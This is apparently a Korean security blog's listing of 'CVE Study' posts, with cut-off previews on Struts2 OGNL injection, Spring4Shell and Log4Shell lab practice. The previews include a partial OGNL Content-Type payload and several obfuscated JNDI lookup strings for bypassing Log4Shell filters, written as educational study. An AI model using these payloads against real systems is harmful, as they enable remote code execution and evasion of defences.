[Apache Struts] CVE-2017-5638 아파치 스트럿츠2 RCE 취약점
2022. 4. 28.
CVE Study
아파치 스트럿츠는 자바 기반의 프레임워크인데 여기서 발견된 CVE-2017-5638는 2017년에 발견된 취약점으로 현재는 꽤 오래된 취약점이다. Apache Struts는 Content-Type 헤더에 쿼리를 삽입했을 때 Jakarta Multipart 플러그인에서 잘못된 파싱으로 인해 명령어가 실행된다 이 때 공격 쿼리는 Content-Type 헤더는 OGNL 표현식이라는 것으로 삽입하는데 이 OGNL 표현식은 기존 표현식 보다 더 간단한 표현식으로 자바 객체의 속성을 가져오고 설정할 수 있다고함. Content-Type: ${(#_='multipart/form-data'). 실습환경 구성 페이지에 접근해서 버프로 패킷을 잡아줌 컨텐츠 타입 헤더가 없다면 직접 작성해주면되는데 OGNL 표현식을 이..
[Apache Tomcat] CVE-2022-22965 (Spring4Shell) 스프링 RCE 취약점
2022. 4. 18.
CVE Study
최근 Log4shell에 이어서 Spring 프레임워크를 사용하는 서브에서 RCE 취약점이 발견되어서 화제가 되었다. log4j의 이름을 따와서 Spring4shell, SpringShell 등 이라고 불리는 듯함 CVE 코드는 2022-22965이고 RCE 취약점이기 때문에 점수가 높다 (CVSS 9.8점) 근데 해외 포럼을 참조한 결과 코드가 실행되기 까지는 조건이 좀 까다로운 편이라고 한다. 조건 JDK 9 버전 이상 서블릿 컨테이너로 사용되는 톰캣 Spring-Framework(스프링 프레임워크) 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전 Spring Boot(스프링부트)에서 디폴트로 실행되는 Jar가 아닌 war 패키지 여야함 Spring-Webmvc 또는 Spr..
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) Part 2
2022. 3. 17.
CVE Study
log4j 취약점은 자바 프레임워크 중 하나인 log4j를 사용할 때 클라이언트의 요청 값을 문자열 그대로 저장하는 것이 아닌 JNDI lookup 기능으로 인해 해석이 가능한 요청을 실행하기 때문에 발생한다. 공격자가 LDAP 또는 RMI 서버를 공격 서버로 생성한 뒤 JNDI injection을 할 때 기본적으로 ${jndi:ldap://abcd/abcd} 위와 같은 코드를 삽입하지만 몇가지 우회구문이 있다. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://abcd/abcd} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://abcd/abcd ${${lower:j}ndi:${lower:l}${lowe..
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell)
2022. 2. 15.
CVE Study
최근 보안에서 엄청나게 이슈가되었던 Log4j 취약점 마인크래프트에서도 발견되고 여러 기업, 공공기관에도 수많은 공격이 들어왔다고 한다. 공격 방법이 매우 간단하지만 시스템의 쉘을 가져올 수 있는 등 치명적인 공격이 가능하여 cve/cvss 점수도 최대점수인 10점이다. 실습은 준비물 1. JNDI-injection-Exploit https://github.com/welk1n/JNDI-Injection-Exploit GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to JNDI注入测试工具(A tool which generates JNDI links can ..